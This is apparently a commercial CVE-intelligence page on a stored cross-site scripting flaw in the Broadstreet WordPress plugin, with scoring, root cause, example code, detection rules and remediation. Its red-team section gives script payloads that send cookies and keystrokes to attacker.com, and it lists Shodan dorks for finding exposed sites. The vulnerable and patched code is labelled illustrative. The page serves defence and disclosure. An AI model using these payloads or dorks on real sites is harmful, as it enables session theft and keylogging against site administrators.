☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9989

CVE-2025-9989 Cross-Site Scripting in Broadstreet
📅 PUBLISHED: 2026-05-13 05:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9989 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Broadstreet plugin for WordPress, affecting all versions up to and including 1.53.1. The flaw exists in the plugin's admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is particularly impactful on multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the lack of a known patch and the potential for privilege escalation in multi-site setups make this a significant concern for WordPress ecosystem security.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Broadstreet plugin is distributed via the official WordPress Plugin Directory. Administrators should monitor for updates from the vendor and consider disabling the plugin if no patch is available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The attack is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): High – Requires admin-level authentication.
  • User Interaction (UI): Required – A user must access the injected page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for cross-site scripting in a multi-site WordPress environment can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability resides in the Broadstreet plugin's admin settings page. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An authenticated administrator can inject malicious JavaScript into these fields. When another administrator or user views the settings page, the injected script executes in their browser context.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). Input is not validated against a whitelist of allowed values.

Attack Scenario:

  1. An attacker with admin access on a WordPress multisite network navigates to the Broadstreet settings page.
  2. They inject a payload like <script>alert('XSS')</script> into a text field.
  3. The payload is stored in the database.
  4. When another admin visits the same settings page, the script executes, potentially stealing cookies or performing actions on behalf of the victim.

WordPress Ecosystem Context: This vulnerability is specific to the Broadstreet plugin and does not affect core WordPress or other components. The attack surface is limited to authenticated users with high privileges, but in multisite environments, a compromised super admin can affect all subsites.

Vulnerable vs. Patched Code

Vulnerable Code (Example from Broadstreet plugin <= 1.53.1):

// In admin settings page
function broadstreet_settings_field() {
    $value = get_option('broadstreet_option');
    echo '<input type="text" name="broadstreet_option" value="' . $value . '" />';
}

The $value is output directly without escaping, allowing stored XSS.

Patched Code (Hypothetical fix):

function broadstreet_settings_field() {
    $value = get_option('broadstreet_option');
    echo '<input type="text" name="broadstreet_option" value="' . esc_attr($value) . '" />';
}

Using esc_attr() escapes the value for safe HTML attribute output. Additionally, input should be sanitized with sanitize_text_field() or wp_kses() before saving.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress multisite installation with Broadstreet plugin <= 1.53.1.
  • Administrator credentials on the network.

Steps:

  1. Log in as an admin and navigate to the Broadstreet settings page (e.g., /wp-admin/options-general.php?page=broadstreet).
  2. In any text field (e.g., "API Key"), inject the following payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Save the settings.
  4. Wait for another admin to visit the same page. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor WordPress admin activity logs for changes to Broadstreet plugin settings.
  2. Review database entries in wp_options for the broadstreet_ prefix for suspicious HTML/JavaScript.
  3. Use a Web Application Firewall (WAF) to block common XSS patterns in admin POST requests.

Hunting Query (SQL):

SELECT * FROM wp_options WHERE option_name LIKE 'broadstreet_%' AND option_value LIKE '%<script%';

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
    • Suspicious Referer headers pointing to /wp-admin/options-general.php?page=broadstreet.
  • Host IOCs:

    • Database entries in wp_options with option_name like broadstreet_* containing <script> tags.
    • Modified plugin files (though unlikely, as the vulnerability is in settings storage).
  • File IOCs:

    • No specific file changes expected; the attack is stored in the database.

Detection Engineering

YARA Rule

rule wordpress_broadstreet_xss {
    meta:
        description = "Detects stored XSS payloads in Broadstreet plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9989"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $broadstreet_option = /broadstreet_/
    condition:
        $broadstreet_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Broadstreet Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS via Broadstreet plugin admin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: options-general.php?page=broadstreet
        cs-uri-query|re: (<script|<img|<svg|onerror|onload)
    condition: selection
falsepositives:
    - Legitimate use of HTML in settings (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9989 Broadstreet Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"options-general.php?page=broadstreet"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Broadstreet plugin if not essential, until a patch is released.
  2. Restrict admin access to only trusted users, especially in multisite environments.
  3. Enable unfiltered_html capability only for super admins (default in single-site, but in multisite, ensure it's disabled for subsite admins).

Long-term Fix:

  • The vendor must release a patched version (e.g., 1.53.2) that properly sanitizes and escapes all admin settings fields.
  • Apply WordPress coding standards: use esc_html(), esc_attr(), sanitize_text_field(), and wp_kses() as appropriate.

Workaround:

  • Implement a custom plugin or mu-plugin that filters the broadstreet_* options on save to strip script tags:
    add_filter('pre_update_option', function($value, $option) {
        if (strpos($option, 'broadstreet_') === 0) {
            $value = wp_kses_post($value);
        }
        return $value;
    }, 10, 2);
    

Valters IT – Securing the WordPress ecosystem, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Broadstreet"
http.html:"wp-content/plugins/broadstreet"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9989/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.